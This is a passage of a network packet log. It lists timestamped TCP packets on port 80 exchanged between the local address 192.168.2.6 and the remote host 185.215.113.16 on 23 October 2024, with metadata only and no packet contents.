Oct 23, 2024 17:51:40.941663027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.941679001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.944854021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.946993113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.947030067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.947063923 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.947098970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.947130919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.947165012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.947336912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.952330112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.952366114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.952399015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.952435017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.952445030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.952461958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.952469110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.952495098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.952506065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.952518940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.953176975 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.957644939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.957681894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.957715988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.957739115 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.957751036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.957760096 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.957784891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.957833052 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.962922096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.962975979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.963011026 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.963041067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.963046074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.963074923 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.963083982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.963105917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.963128090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.968203068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.968240023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.968269110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.968302965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.968319893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.968338966 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.968343019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.968386889 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.973747015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.973800898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.973838091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.973870039 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.973874092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.973905087 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.973912001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.973947048 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.973970890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.974019051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.979074001 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.979089022 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.979099989 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.979113102 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.979125023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.979146957 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.979192972 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.984383106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.984396935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.984407902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.984419107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.984431982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.984447956 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.984483004 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.989702940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.989718914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.989729881 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.989742041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.989752054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.989759922 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.989764929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.989777088 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.989794970 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.994936943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.994951010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.994982004 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.994995117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.995006084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.995013952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.995026112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.995060921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.000168085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.000190973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.000204086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.000216961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.000230074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.000238895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.000252962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.000278950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.005513906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.005553007 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.005589008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.005611897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.005625010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.005639076 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.005660057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.005671978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.005703926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.010962963 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.011002064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.011037111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.011059046 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.011070967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.011085033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.011101961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.011109114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.011146069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.016252041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.016290903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.016324997 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.016349077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.016359091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.016367912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.016395092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.016410112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.016438007 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.021533966 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.021570921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.021604061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.021620989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.021637917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.021660089 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.021667957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.021686077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.022960901 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.026874065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.026911020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.026945114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.026961088 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.027008057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.027043104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.027055025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.027081013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.027086973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.028852940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.032253027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.032290936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.032305002 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.032326937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.032330990 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.032362938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.032372952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.032397032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.032406092 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.032449007 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.037533045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.037571907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.037605047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.037631035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.037640095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.037668943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.037674904 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.037694931 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.037710905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.037720919 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.037760973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.042820930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.042860031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.042921066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.043025017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.043061018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.043118954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.048080921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.048118114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.048168898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.048208952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.048247099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.048275948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.048284054 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.048310041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.048336983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.053616047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053654909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053688049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053716898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.053720951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053750992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.053751945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053780079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.053797960 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.053807020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053858995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053889036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.053901911 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.053957939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054275990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054321051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054332018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054367065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054409027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054410934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054445028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054460049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054486036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054500103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054536104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054542065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054577112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054610968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054622889 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054646969 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054666996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054677963 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054681063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054735899 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054779053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054789066 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054825068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054842949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054860115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054876089 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054894924 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054904938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054936886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.054946899 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.054982901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055000067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055016041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055051088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055059910 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055105925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055141926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055152893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055176973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055186987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055211067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055248976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055254936 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055284023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055327892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055347919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055382967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055392027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055437088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055470943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055483103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055505037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055537939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055550098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055567980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055578947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055622101 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055656910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055665970 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055691004 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055726051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055736065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055759907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055768967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055813074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055846930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055856943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055881977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055916071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055927992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.055958033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.055959940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056010008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056042910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056055069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056077003 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056111097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056119919 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056154013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056164026 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056199074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056226969 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056242943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056261063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056265116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056294918 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056328058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056339979 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056381941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056416035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056427002 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056451082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056457996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056485891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056529999 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056540012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056574106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056607962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056618929 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056641102 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056652069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056678057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056711912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056720972 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056746006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056777954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056788921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056821108 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056832075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056865931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056899071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056911945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.056929111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056957960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.056977034 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057002068 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057009935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057044029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057071924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057074070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057106018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057109118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057120085 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057250977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057257891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057291985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057324886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057327986 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057346106 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057380915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057413101 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057415962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057421923 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057451010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057471037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057502031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057507038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057537079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057540894 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057573080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057581902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057605982 CEST	80	49868	185.215.113.16	192.168.2.6
